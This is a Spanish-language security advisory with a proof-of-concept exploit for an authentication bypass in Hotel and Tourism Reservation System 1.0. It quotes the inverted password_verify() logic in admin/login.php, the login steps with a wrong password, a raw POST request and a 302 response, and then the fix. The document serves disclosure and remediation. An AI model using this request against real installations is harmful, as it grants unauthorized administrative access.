
Exploit de prueba de concepto para un bypass de autenticación en Hotel and Tourism Reservation System 1.0, permitiendo acceso de administrador no autenticado mediante lógica invertida de password_verify.
| Campo | Detalles |
|---|
| Título | Sistema de Reservas de Hotel y Turismo - Bypass de Autenticación |
| Vendedor | code-projects.org |
| Producto | Sistema de Reservas de Hotel y Turismo |
| Versión | 1.0 |
| Tipo de Vulnerabilidad | Autenticación Incorrecta |
| CWE | CWE-287 |
| Puntuación CVSS | 9.0 (Crítica) |
| Vector CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Archivo Afectado | /admin/login.php |
| Autenticación Requerida | No |
| Explotable Remotamente | Sí |
Existe una vulnerabilidad crítica de bypass de autenticación en la funcionalidad de inicio de sesión de administrador de Hotel and Tourism Reservation System 1.0. La vulnerabilidad es causada por una verificación condicional invertida en el valor de retorno de password_verify(), que hace que la aplicación otorgue acceso cuando se proporciona una contraseña incorrecta y deniegue el acceso cuando se proporciona la contraseña correcta. Un atacante remoto no autenticado puede obtener acceso administrativo completo proporcionando una dirección de correo electrónico válida y cualquier contraseña incorrecta arbitraria.
Archivo: admin/login.php — Líneas 39–46
if(password_verify($password, $user['password'])){
// BUG: password_verify() returns TRUE when password is CORRECT
// but the error message is placed here instead of login logic
echo '<div class="w3-text-red text-center">The password you entered was incorrect, please try again.</div>';
} else {
// BUG: this block executes when password is WRONG
// but login is granted here instead of showing an error
$userID = $user['id'];
login($userID);
}
password_verify() devuelve true cuando la contraseña proporcionada coincide con el hash. El desarrollador colocó la lógica de éxito dentro de la rama else (que se ejecuta cuando la función devuelve false), lo que significa que la autenticación se concede con cualquier contraseña incorrecta.
Un atacante remoto no autenticado puede:
Configuración: Instale Hotel and Tourism Reservation System 1.0 en XAMPP. Acceda a la aplicación en http://localhost/ht/.
Paso 1: Navegue a la página de inicio de sesión del administrador.
http:///ht/admin/login.php
Paso 2: Ingrese un correo electrónico de administrador válido con cualquier contraseña incorrecta.
Email: [email protected] Password: wrongpassword
Paso 3: Haga clic en Iniciar sesión.
Resultado: La aplicación omite la autenticación y redirige al panel de administración (index.php) — se concede acceso administrativo completo con una contraseña incorrecta.
Solicitud:
POST /ht/admin/login.php HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded
email=admin%40admin.com&password=test1234&login=Login
Respuesta:
HTTP/1.1 302 Found
Location: index.php
Una redirección 302 a index.php confirma la autenticación exitosa con una contraseña incorrecta.



Intercambie las ramas condicionales para que el inicio de sesión se conceda cuando password_verify() devuelva true:
// FIXED
if(password_verify($password, $user['password'])){
$userID = $user['id'];
login($userID);
} else {
echo '<div class="w3-text-red text-center">The password you entered was incorrect, please try again.</div>';
}
Imad Alvi — Investigador de Seguridad Independiente